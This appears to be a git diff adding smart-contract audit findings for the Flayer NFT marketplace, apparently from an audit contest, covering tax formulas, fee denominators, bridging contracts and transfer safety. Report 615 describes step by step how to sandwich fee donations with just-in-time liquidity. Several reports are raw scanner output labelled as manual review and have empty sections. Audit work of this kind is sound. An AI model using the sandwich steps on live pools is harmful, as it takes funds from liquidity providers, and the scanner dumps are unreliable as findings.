+ //The following tax makes this scenario completely unusable, as we want to get 10CT out, but we already paid 9.2CT in tax:
+ assertEq(taxCalculator.calculateTax(address(erc721a), 1000, 179 days), 9205714285714285714);
+
+ // 9.5X Listing for 2.3CT fees, means we can max sell it for 7.2CT
+ assertEq(taxCalculator.calculateTax(address(erc721a), 950, 50 days), 2361607142857142857);
+ }
+```
+
+## Impact
+NFTs which are 7-10x floor price/expensive NFTs are not worth listing on the Flayer marketplace, due to the high taxes. Less usage means less fees overall will be send to the UniswapV4 pool.
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Adjust fees to they are appropriate and stimulate users to actually list high price NFTs, as they would bring more fees and value for the Flayer marketplace.
\ No newline at end of file
diff --git a/603.md b/603.md
new file mode 100644
index 0000000..2352b47
--- /dev/null
+++ b/603.md
@@ -0,0 +1,37 @@
+Genuine Slate Sloth
+
+Medium
+
+# Harberger Rate Formula is not used
+
+## Summary
+The Harberger Rate Formula is not used to calculate the tax when a user performs a liquid listing.
+
+## Vulnerability Detail
+The [Flayer whitepaper](https://www.flayer.io/whitepaper), in the "LIQUID LISTINGS" section, specifies that the Harberger Rate Formula should be used to calculate taxes for users. However, in the `TaxCalculator` contract, a different formula is used for tax calculation.
+
+[TaxCalculator::calculateTax](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44) function:
+```Solidity
+function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+=> taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+}
+```
+
+## Impact
+The implementation does not align with the whitepaper.
+
+## Code Snippet
+- [TaxCalculator::calculateTax](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44) function
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/606.md b/606.md
new file mode 100644
index 0000000..2cf8538
--- /dev/null
+++ b/606.md
@@ -0,0 +1,29 @@
+Crazy Chiffon Spider
+
+Medium
+
+# Collections with very cheap and very expensive NFTs won't be fully supported by the Flayer marketplace
+
+## Summary
+In many NFT collections, there are extraordinary NFTs that are sold for significantly more than the floor price. In this case, the Flayer protocol won't be able to support highly valued NFTs.
+
+## Vulnerability Detail
+The **floor price** typically refers to the minimum amount that an NFT from a collection is listed for, but this value can be arbitrary. In the Flayer marketplace, the floor price should represent the **actual minimum value** of an NFT from a Collection, as it would naturally balance itself based on "what most people agree the floor price is."
+
+There are many NFT collections with NFTs that have sold for **far more than 10x** the floor price. For example, some NFTs can be priced at `15x`, `20x`, `30x`, `100x`, or even more compared to the floor price.
+Collections like [Bored Ape Yacht Club](https://opensea.io/collection/boredapeyachtclub?search[sortAscending]=false) and [CryptoPunks](https://opensea.io/collection/cryptopunks) provide multiple examples of this.
+
+The current [MAX_FLOOR_MULTIPLIER](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L79) in the Flayer marketplace is hardcoded to `10`, thus the protocol cannot support these **valuable NFTs**.
+
+**Airdrop Cases**: It's possible that someone could send airdrops for marketing purposes. Usually, they will distribute less valuable NFTs, as this is done purely for marketing. It’s not uncommon to see their actual NFTs priced much higher than 10x the floor ones.
+
+## Impact
+The 10x floor multiplier limit prevents the listing of valuable NFTs, which can limit the usability of the platform for those trading high-priced assets. Less activity would mean fewer fees distributed.
+
+Usually, high-value NFTs get most of the attention, so missing out on those will negatively impact the usage of the marketplace.
+
+## Tool Used
+**Manual Review**
+
+## Recommendation
+Consider **increasing the 10x floor multiplier limit**, or allow the **Admin** to adjust the multiplier in cases where it's needed to support high-value NFTs.
\ No newline at end of file
diff --git a/609.md b/609.md
new file mode 100644
index 0000000..222d678
--- /dev/null
+++ b/609.md
@@ -0,0 +1,30 @@
+Noisy Carmine Starling
+
+Medium
+
+# InfernalRiftAbove does not have function onERC721Received
+
+### Summary
+
+InfernalRiftAbove does not have function a onERC721Received cause will fail when receiving nft
+
+### Root Cause
+
+InfernalRiftAbove.sol does not have function a onERC721Received , only have onERC1155Received function. https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol?plain=1#L297-L306 ,InfernalRiftBelow also has this problem
+
+### Recommendation
+
+```solidity
++function onERC721Received(
++ address operator,
++ address from,
++ uint256 tokenId,
++ bytes calldata data
++) public pure override returns (bytes4) {
++ return this.onERC721Received.selector;
++}
+```
+
+### Impact
+
+InfernalRiftAbove will fail when receiving nft
\ No newline at end of file
diff --git a/615.md b/615.md
new file mode 100644
index 0000000..b5de2b6
--- /dev/null
+++ b/615.md
@@ -0,0 +1,100 @@
+Fancy Emerald Lark
+
+High
+
+# Donation fees are sandwichable in one transaction
+
+## Summary
+Doesn't matters if MEV is openly possible in the chain, when eevr a user does actions like `liquidateProtectedListing`, `cancelListing`, `modifyListings`, `fillListings`, `Reserve` and `Relist`. They can sandwich the fees donation to make profit or recover the tax they paid. Or, the liquidaton is open access, so you can sandwich that in same tc itself.
+
+Root casue : allowing more than max donation limit per transaction.
+
+Even if you don't allow to donate more than max, the user will just loop the donation and still extract the $, so its better to have a max donation per block state that tracks this. So `donateThresholdMax` should be implemented in per block limit way.
+
+## Vulnerability Detail
+
+Uniswap openly advises to design the donation mechanism to not allow MEV extraction
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/interfaces/IPoolManager.sol#L167-L172
+
+```SOLIDITY
+ IPoolManager.sol
+ /// @notice Donate the given currency amounts to the in-range liquidity providers of a pool
+ /// @dev Calls to donate can be frontrun adding just-in-time liquidity, with the aim of receiving a portion donated funds.
+ /// Donors should keep this in mind when designing donation mechanisms.
+ /// @dev This function donates to in-range LPs at slot0.tick. In certain edge-cases of the swap algorithm, the `sqrtPrice` of
+ /// a pool can be at the lower boundary of tick `n`, but the `slot0.tick` of the pool is already `n - 1`. In this case a call to
+ /// `donate` would donate to tick `n - 1` (slot0.tick) not tick `n` (getTickAtSqrtPrice(slot0.sqrtPriceX96)).
+```
+
+Fees are donated to uniV4 pool in several listing actions
+- `liquidateProtectedListing` : Amount worth `1 ether - listing.tokenTaken - KEEPER_REWARD` is donated. This amount will be huge in cases where, someone listed a protected listing and took 0.5 ether as token taken, but didnot unlock the listing. So since utilization rate became high, the listing heath gone negative and was put to liquidation during this time an amount f (1 ether - 0.5 ether taker - 0.05 ether keeper reward) = 0.40 ether is donated to pool. Thats a 1000$ direct donation
+- Other 5 flows of Listings contract, such as `cancelListing`, `modifyListings`, `fillListings`, `Reserve` and `Relist` donate the tax fees to the pool. The likelihood is above medium to have huge amount when most users do multiple arrays of tokens of multiple collections done in one transaction.
+
+
+Issue flow :
+1. Figure out the tick where the donated fee will go in according to the @notice comment above on `IPoolManager.donate`.
+2. And provide the in-range liquidity so heavy ( like 100x than available in the whole range of that pool).
+3. Then do the `liquidateProtectedListing`, `cancelListing`, `modifyListings`, `fillListings`, `Reserve` and `Relist` actions that donate fees worth doing this sandwich
+4. Then trigger a fee donation happening on `before swap` hook and then remove the provided liquidity in the first step.
+
+You don't need to frontrun other user's actions, Just do this sandwiching whenever a liquidation of someone's listing happens. And you can also recover the paid tax/fees of your listings by this MEV. Or eevn better if chain allows to have public mempool, then every user's action is sandwichable.
+
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L335-L345
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L58-L62
+
+```solidity
+UniswapImplementation.sol
+
+32: /// Prevents fee distribution to Uniswap V4 pools below a certain threshold:
+33: /// - Saves wasted calls that would distribute less ETH than gas spent
+34: /// - Prevents targetted distribution to sandwich rewards
+35: uint public donateThresholdMin = 0.001 ether;
+36: >> uint public donateThresholdMax = 0.1 ether;
+
+
+336: function _distributeFees(PoolKey memory _poolKey) internal {
+ ---- SNIP ----
+365: if (poolFee > 0) {
+366: // Determine whether the currency is flipped to determine which is the donation side
+367: (uint amount0, uint amount1) = poolParams.currencyFlipped ? (uint(0), poolFee) : (poolFee, uint(0));
+368: >>> BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');
+369:
+370: // Check the native delta amounts that we need to transfer from the contract
+371: if (delta.amount0() < 0) {
+372: _pushTokens(_poolKey.currency0, uint128(-delta.amount0()));
+373: }
+374:
+375: if (delta.amount1() < 0) {
+376: _pushTokens(_poolKey.currency1, uint128(-delta.amount1()));
+377: }
+378:
+379: emit PoolFeesDistributed(poolParams.collection, poolFee, 0);
+380: }
+ ---- SNIP ----
+
+402: }
+403:
+
+```
+
+
+## Impact
+Loss of funds to the LPs. The fees they about to get due to LP, can be sandwiched and extracted. So high severity, and above medium likelihood even in the chans that doesn't have mempool. So, high severity.
+
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L335-L345
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/interfaces/IPoolManager.sol#L167-L172
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L58-L62
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Introduce a new way to track how much is donated on this block and limit it on evrery `_donate` call. example, allow only 0.1 ether per block
\ No newline at end of file
diff --git a/617.md b/617.md
new file mode 100644
index 0000000..78ab28d
--- /dev/null
+++ b/617.md
@@ -0,0 +1,36 @@
+Polite Macaroon Parakeet
+
+High
+
+# Protocol will give much more money as fee to beneficiary than expected
+
+## Summary
+Protocol will give much more money as fee to beneficiary than expected because of an incorrect calculation
+## Vulnerability Detail
+Fees in uniswap pools are represented in bips. 1000 pips = 0.1%. so 100% will be 1000*1000 = 1e6.
+As in ProtocolFeeLibrary:
+```solidity
+ /// @notice Max protocol fee is 0.1% (1000 pips)
+ /// @dev Increasing these values could lead to overflow in Pool.swap
+ uint16 public constant MAX_PROTOCOL_FEE = 1000;
+
+/// @notice the protocol fee is represented in hundredths of a bip
+ uint256 internal constant PIPS_DENOMINATOR = 1_000_000;
+
+```
+However, in afterswap(), fee denominator is incorrectly represented as 1e5.
+```solidity
+ uint feeAmount = uint128(swapAmount) * ammFee / 100_000;
+```
+ As a result, final fee amount sent to beneficiary will be 10 times bigger than expected.
+## Impact
+Loss of funds for protocol.
+## Code Snippet
+https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/libraries/ProtocolFeeLibrary.sol#L6-L8
+https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/libraries/ProtocolFeeLibrary.sol#L14-L15
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L607
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/620.md b/620.md
new file mode 100644
index 0000000..3d002e9
--- /dev/null
+++ b/620.md
@@ -0,0 +1,40 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-6 Solmate's SafeTransferLib does not check for token contract's existence
+
+## Summary
+
+## Vulnerability Detail
+
+There is a subtle difference between the implementation of solmate’s SafeTransferLib and OZ’s SafeERC20: OZ’s SafeERC20 checks if the token is a contract or not, solmate’s SafeTransferLib does not.
+https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol#L9
+`@dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller`
+
+
+## Impact
+
+## Code Snippet
+
+*Instances (2)*:
+```solidity
+File: libs/ERC1155Bridgable.sol
+
+132: SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+
+```
+
+```solidity
+File: libs/ERC721Bridgable.sol
+
+159: SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/621.md b/621.md
new file mode 100644
index 0000000..ead2714
--- /dev/null
+++ b/621.md
@@ -0,0 +1,38 @@
+Puny Mocha Guppy
+
+High
+
+# H-8 double-entry token exploit
+
+## Summary
+
+pess-double-entry-token-alert
+
+## Vulnerability Detail
+
+**Source:** src/InfernalRiftAbove.sol:206-240
+
+**Parent:** contract InfernalRiftAbove
+
+**Signature:** `returnFromTheThreshold(address[],uint256[][],uint256[][],address)`
+
+InfernalRiftAbove InfernalRiftAbove.returnFromTheThreshold(address[],uint256[][],uint256[][],address) (src/InfernalRiftAbove.sol#206-240) might be vulnerable to double-entry token exploit
+
+## Impact
+
+**Severity:** High
+**Confidence:** Low
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L206C1-L241C1
+
+```solidity
+InfernalRiftAbove [InfernalRiftAbove.returnFromTheThreshold(address[],uint256[][],uint256[][],address)](src/InfernalRiftAbove.sol#L206-L240) might be vulnerable to double-entry token exploit
+
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/627.md b/627.md
new file mode 100644
index 0000000..ee8eaed
--- /dev/null
+++ b/627.md
@@ -0,0 +1,23 @@
+Skinny Mango Snail
+
+High
+
+# Incorrectly set `mint` variable in `InfernalRiftBelow::_thresholdCross1155` causes a revert, which prevents tokens from being transfered and minted
+
+## Summary
+The `mint` variable gets set to either 0 or a negative number, because `transfer` is always going to be greater than or equal to the `amount`.
+
+## Vulnerability Detail
+When `mint` gets set to a negative value, a revert occurs because a unit cannot be negative, and that disrupts the flow of the function.
+
+## Impact
+The `l2Collection1155` can neither transfer nor mint any tokens after `mint` reverts.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L308
+
+## Tool used
+Manual Review
+
+## Recommendation
+This issue can be mitigated by setting `mint` to the result of `transfer - amount`.
\ No newline at end of file
diff --git a/633.md b/633.md
new file mode 100644
index 0000000..638bc66
--- /dev/null
+++ b/633.md
@@ -0,0 +1,81 @@
+Puny Mocha Guppy
+
+High
+
+# H-11 pess-nft-approve-warning
+
+## Summary
+
+pess-nft-approve-warning
+
+## Vulnerability Detail
+## Node: l2Collection721.transferFrom(address(this),recipient,id)
+
+**Source:** src/InfernalRiftBelow.sol:265-265
+
+**Parent:** function _thresholdCross721
+
+
+## Node: l2Collection1155.safeTransferFrom(address(this),recipient,id,transfer,)
+
+**Source:** src/InfernalRiftBelow.sol:312-312
+
+**Parent:** function _thresholdCross1155
+
+
+## Node: IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this),recipient,idsToCross[i][j],amountsToCross[i][j],)
+
+**Source:** src/InfernalRiftAbove.sol:234-234
+
+**Parent:** function returnFromTheThreshold
+
+
+## Node: IERC721Metadata(collectionAddresses[i]).transferFrom(address(this),recipient,idsToCross[i][j])
+
+**Source:** src/InfernalRiftAbove.sol:232-232
+
+**Parent:** function returnFromTheThreshold
+
+
+
+
+
+InfernalRiftBelow _thresholdCross721 parameter from is not related to msg.sender l2Collection721.transferFrom(address(this),recipient,id) (src/InfernalRiftBelow.sol#265)
+
+InfernalRiftBelow _thresholdCross1155 parameter from is not related to msg.sender l2Collection1155.safeTransferFrom(address(this),recipient,id,transfer,) (src/InfernalRiftBelow.sol#312)
+
+InfernalRiftAbove returnFromTheThreshold parameter from is not related to msg.sender IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this),recipient,idsToCross[i][j],amountsToCross[i][j],) (src/InfernalRiftAbove.sol#234)
+
+InfernalRiftAbove returnFromTheThreshold parameter from is not related to msg.sender IERC721Metadata(collectionAddresses[i]).transferFrom(address(this),recipient,idsToCross[i][j]) (src/InfernalRiftAbove.sol#232)
+
+## Impact
+
+## Code Snippet
+
+```solidity
+InfernalRiftAbove returnFromTheThreshold parameter from is not related to msg.sender [IERC721Metadata(collectionAddresses[i]).transferFrom(address(this),recipient,idsToCross[i][j])](src/InfernalRiftAbove.sol#L232)
+
+```
+
+```solidity
+InfernalRiftBelow _thresholdCross721 parameter from is not related to msg.sender [l2Collection721.transferFrom(address(this),recipient,id)](src/InfernalRiftBelow.sol#L265)
+
+```
+
+```solidity
+InfernalRiftAbove returnFromTheThreshold parameter from is not related to msg.sender [IERC1155MetadataURI(collectionAddresses[i]).safeTransferFrom(address(this),recipient,idsToCross[i][j],amountsToCross[i][j],)](src/InfernalRiftAbove.sol#L234)
+
+```
+
+```solidity
+InfernalRiftBelow _thresholdCross1155 parameter from is not related to msg.sender [l2Collection1155.safeTransferFrom(address(this),recipient,id,transfer,)](src/InfernalRiftBelow.sol#L312)
+
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+
diff --git a/635.md b/635.md
new file mode 100644
index 0000000..7290566
--- /dev/null
+++ b/635.md
@@ -0,0 +1,39 @@
+Perfect Mint Worm
+
+Medium
+
+# Lack of Withdrawal Mechanism for Payable Functions in CollectionShutdown Contract
+
+## Summary
+The `CollectionShutdown` contract is designed to manage the shutdown process of **NFT** collections and distribute the proceeds from liquidated assets to token holders. It achieves this through the claim and voteAndClaim functions, which allow users to receive their share of Ether based on their **ERC-20** token holdings. However, the contract lacks a mechanism for handling scenarios where Ether might remain unclaimed or where additional Ether is received from unexpected sources.
+## Vulnerability Detail
+The `receive()` function in the contract is a `payable` function that allows it to accept Ether, typically from Sudoswap pool liquidations. This function is crucial for collecting the proceeds from NFT sales, which are then distributed to token holders.
+However, the `receive()` function does not discriminate between intended and unintended **Ether** transfers. This means that any **Ether** sent to the contract, whether from `Sudoswap` or other sources, will be accepted without a mechanism to differentiate or manage these funds.
+
+```solidity
+receive() external payable {
+address sweeperCollection = sweeperPoolCollection[msg.sender];
+if (sweeperCollection != address(0)) {
+_collectionParams[sweeperCollection].availableClaim += msg.value;
+emit CollectionShutdownTokenLiquidated(sweeperCollection, msg.value);
+ }
+ }
+```
+
+This lack of a withdrawal mechanism for unclaimed or excess **Ether** may be an oversight in the contract's design. While the primary focus is on distributing liquidation proceeds to token holders, the contract should also account for scenarios where funds need to be managed beyond the distribution process. This oversight can limit the contract's flexibility and adaptability in managing funds effectively.
+
+Without a withdrawal mechanism, the contract lacks the operational flexibility to address changing requirements or unforeseen circumstances. For instance, if the contract needs to redistribute unclaimed Ether or handle additional funds for future use cases, it currently cannot do so without a withdrawal function. This limitation can lead to potential fund lock-up, where Ether remains trapped within the contract, inaccessible to both the contract owner and the users.
+
+the contract should maintain a clear trace of all Ether values received and distributed. This includes documenting the handling of Ether from sources other than the intended Sudoswap liquidations. Without proper documentation and mechanisms to manage these funds, there's a risk of confusion or mismanagement, potentially affecting the contract's integrity.
+
+
+## Impact
+ -Ether that is not claimed by users or sent mistakenly could be trapped within the contract.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L529-L537
+## Tool used
+
+Manual Review
+
+## Recommendation
+-Add Withdrawal Function Allow the owner or admin to withdraw unclaimed or excess Ether.
\ No newline at end of file
diff --git a/642.md b/642.md
new file mode 100644
index 0000000..0f90fd5
--- /dev/null
+++ b/642.md
@@ -0,0 +1,164 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-7 Dubious typecast
+
+## Summary
+
+## Vulnerability Detail
+
+
+## Function: l2AddressForL1Collection
+
+**Source:** src/InfernalRiftBelow.sol:77-82
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `l2AddressForL1Collection(address,bool)`
+
+### Node: l2CollectionAddress_ = Clones.predictDeterministicAddress(ERC1155_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(_l1CollectionAddress)))
+
+**Source:** src/InfernalRiftBelow.sol:78-81
+
+**Parent:** function l2AddressForL1Collection
+
+### Node: l2CollectionAddress_ = Clones.predictDeterministicAddress(ERC721_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(_l1CollectionAddress)))
+
+**Source:** src/InfernalRiftBelow.sol:78-81
+
+**Parent:** function l2AddressForL1Collection
+
+### Function: l2AddressForL1Collection
+
+**Source:** src/InfernalRiftBelow.sol:77-82
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `l2AddressForL1Collection(address,bool)`
+
+
+### Function: _getCollectionRoyalty
+
+**Source:** src/InfernalRiftAbove.sol:284-292
+
+**Parent:** contract InfernalRiftAbove
+
+**Signature:** `_getCollectionRoyalty(address,uint256)`
+
+### Node: royaltyBps_ = uint96(_royaltyAmount)
+
+**Source:** src/InfernalRiftAbove.sol:288-288
+
+**Parent:** function _getCollectionRoyalty
+
+### Function: _getCollectionRoyalty
+
+**Source:** src/InfernalRiftAbove.sol:284-292
+
+**Parent:** contract InfernalRiftAbove
+
+**Signature:** `_getCollectionRoyalty(address,uint256)`
+
+
+### Function: returnFromThreshold
+
+**Source:** src/InfernalRiftBelow.sol:166-207
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams)`
+
+### Node: L2_CROSS_DOMAIN_MESSENGER.sendMessage(INFERNAL_RIFT_ABOVE,abi.encodeCall(IInfernalRiftAbove.returnFromTheThreshold,(l1CollectionAddresses,params.idsToCross,params.amountsToCross,params.recipient)),uint32(params.gasLimit))
+
+**Source:** src/InfernalRiftBelow.sol:197-204
+
+**Parent:** function returnFromThreshold
+
+### Function: returnFromThreshold
+
+**Source:** src/InfernalRiftBelow.sol:166-207
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams)`
+
+
+### Function: _thresholdCross721
+
+**Source:** src/InfernalRiftBelow.sol:234-270
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `_thresholdCross721(IInfernalPackage.Package,address)`
+
+### Node: Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(l1CollectionAddress)))
+
+**Source:** src/InfernalRiftBelow.sol:242-242
+
+**Parent:** function _thresholdCross721
+
+### Function: _thresholdCross721
+
+**Source:** src/InfernalRiftBelow.sol:234-270
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `_thresholdCross721(IInfernalPackage.Package,address)`
+
+### Function: _thresholdCross1155
+
+**Source:** src/InfernalRiftBelow.sol:272-319
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `_thresholdCross1155(IInfernalPackage.Package,address)`
+
+### Node: Clones.cloneDeterministic(ERC1155_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(l1CollectionAddress)))
+
+**Source:** src/InfernalRiftBelow.sol:280-280
+
+**Parent:** function _thresholdCross1155
+
+### Function: _thresholdCross1155
+
+**Source:** src/InfernalRiftBelow.sol:272-319
+
+**Parent:** contract InfernalRiftBelow
+
+**Signature:** `_thresholdCross1155(IInfernalPackage.Package,address)`
+
+
+## Impact
+
+## Code Snippet
+
+
+
+```solidity
+
+Dubious typecast in InfernalRiftBelow.l2AddressForL1Collection(address,bool) (src/InfernalRiftBelow.sol#77-82):
+ bytes20 => bytes32 casting occurs in l2CollectionAddress_ = Clones.predictDeterministicAddress(ERC1155_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(_l1CollectionAddress))) (src/InfernalRiftBelow.sol#78-81)
+ bytes20 => bytes32 casting occurs in l2CollectionAddress_ = Clones.predictDeterministicAddress(ERC721_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(_l1CollectionAddress))) (src/InfernalRiftBelow.sol#78-81)
+
+Dubious typecast in InfernalRiftAbove._getCollectionRoyalty(address,uint256) (src/InfernalRiftAbove.sol#284-292):
+ uint256 => uint96 casting occurs in royaltyBps_ = uint96(_royaltyAmount) (src/InfernalRiftAbove.sol#288)
+
+Dubious typecast in InfernalRiftBelow.returnFromThreshold(IInfernalRiftAbove.ThresholdCrossParams) (src/InfernalRiftBelow.sol#166-207):
+ uint64 => uint32 casting occurs in L2_CROSS_DOMAIN_MESSENGER.sendMessage(INFERNAL_RIFT_ABOVE,abi.encodeCall(IInfernalRiftAbove.returnFromTheThreshold,(l1CollectionAddresses,params.idsToCross,params.amountsToCross,params.recipient)),uint32(params.gasLimit)) (src/InfernalRiftBelow.sol#197-204)
+
+Dubious typecast in InfernalRiftBelow._thresholdCross721(IInfernalPackage.Package,address) (src/InfernalRiftBelow.sol#234-270):
+ bytes20 => bytes32 casting occurs in Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(l1CollectionAddress))) (src/InfernalRiftBelow.sol#242)
+
+Dubious typecast in InfernalRiftBelow._thresholdCross1155(IInfernalPackage.Package,address) (src/InfernalRiftBelow.sol#272-319):
+ bytes20 => bytes32 casting occurs in Clones.cloneDeterministic(ERC1155_BRIDGABLE_IMPLEMENTATION,bytes32(bytes20(l1CollectionAddress))) (src/InfernalRiftBelow.sol#280)
+
+
+
+
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/644.md b/644.md
new file mode 100644
index 0000000..50ac58e
--- /dev/null
+++ b/644.md
@@ -0,0 +1,31 @@
+Puny Mocha Guppy
+
+High
+
+# H-12 arbitrary-low-level-call
+
+## Summary
+
+## Vulnerability Detail
+
+## Impact
+
+## Code Snippet
+
+ [36m[22m[24m ../../sherlock/2024-08-flayer-0xjoichiro/flayer/src/contracts/utils/AirdropRecipient.sol[0m
+ ❯❯❱ solidity.security.arbitrary-low-level-call
+ An attacker may perform call() to an arbitrary address with controlled calldata
+
+ 87┆ (success_, data_) = _contract.call{value: msg.value}(_payload);
+ ⋮┆----------------------------------------
+ 89┆ (success_, data_) = _contract.call(_payload);
+ ⋮┆----------------------------------------
+ 142┆ (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/645.md b/645.md
new file mode 100644
index 0000000..ea30cc3
--- /dev/null
+++ b/645.md
@@ -0,0 +1,31 @@
+Puny Mocha Guppy
+
+Medium
+
+# M-8 exact balance check
+
+## Summary
+
+## Vulnerability Detail
+
+## Impact
+
+## Code Snippet
+
+ [36m[22m[24m ../../sherlock/2024-08-flayer-0xjoichiro/flayer/src/contracts/utils/CollectionShutdown.sol[0m
+ ❯❱ solidity.security.exact-balance-check
+ Testing the balance of an account as a basis for some action has risks associated with unexpected
+ receipt of ether or another token, including tokens deliberately transfered to cause such tests to
+ fail, as an MEV attack.
+
+ 194┆ if (userVotes == 0) revert UserHoldsNoTokens();
+ ⋮┆----------------------------------------
+ 333┆ if (userVotes == 0) revert UserHoldsNoTokens();
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/650.md b/650.md
new file mode 100644
index 0000000..9d00f85
--- /dev/null
+++ b/650.md
@@ -0,0 +1,53 @@
+Perfect Mint Worm
+
+Medium
+
+# Risk of NFT Loss Due to Pausable NFT Collections .
+
+## Summary
+
+The Protected Listings contract is vulnerable to loss for users if it accepts pausable NFT collection. When the NFT collection is paused, it can disrupt critical functions, leading to asset lock and inability to recover funds.
+
+## Vulnerability Detail
+
+The contract relies on the ability to transfer **NFTs** for various operations, such as creating listings, unlocking assets, and liquidating under-collateralized positions. If the **NFT** collection is paused, these operations are `blocked`, preventing users from managing their assets effectively. Key functions affected include `_depositNftsAndReceiveTokens`, `withdrawProtectedListing`, and `liquidateProtectedListing`.
+```solidity
+function _depositNftsAndReceiveTokens(CreateListing calldata _listing, uint _tokensReceived) internal {
+ IERC721 asset = IERC721(_listing.collection);
+ for (uint i; i < _listing.tokenIds.length; ++i) {
+ asset.transferFrom(msg.sender, address(this), _listing.tokenIds[i]);
+ }
+ // ...
+}
+
+function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+ // ...
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ // ...
+}
+
+function liquidateProtectedListing(address _collection, uint
+_tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ // ...
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ // ...
+}
+```
+## Impact
+
+Users may experience loss due to:
+- Inability to liquidate under-collateralized NFTs, leading to unrecoverable funds.
+- Blocked access to liquidity, preventing users from leveraging their NFTs.
+- Missed market opportunities due to the inability to transfer or sell NFTs.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L165-L186
+
+## Tool used
+Manual Review
+
+## Recommendation
+Implement a mechanism to handle paused NFT
+-Allowing users to withdraw their NFTs or funds through an alternative process.
+
+
diff --git a/655.md b/655.md
new file mode 100644
index 0000000..a8b55e5
--- /dev/null
+++ b/655.md
@@ -0,0 +1,37 @@
+Sharp Blonde Camel
+
+Medium
+
+# The name() and symbol() functions are not compliant with the EIP-20 standard
+
+### Summary
+
+Project team requested to make sure that `CollectionToken` is strictly compliant with EIP-20. The contract allows the owner to change the token's `name` and `symbol` through the `setMetadata` function while they are expected to provide consistent information.
+
+### Root Cause
+
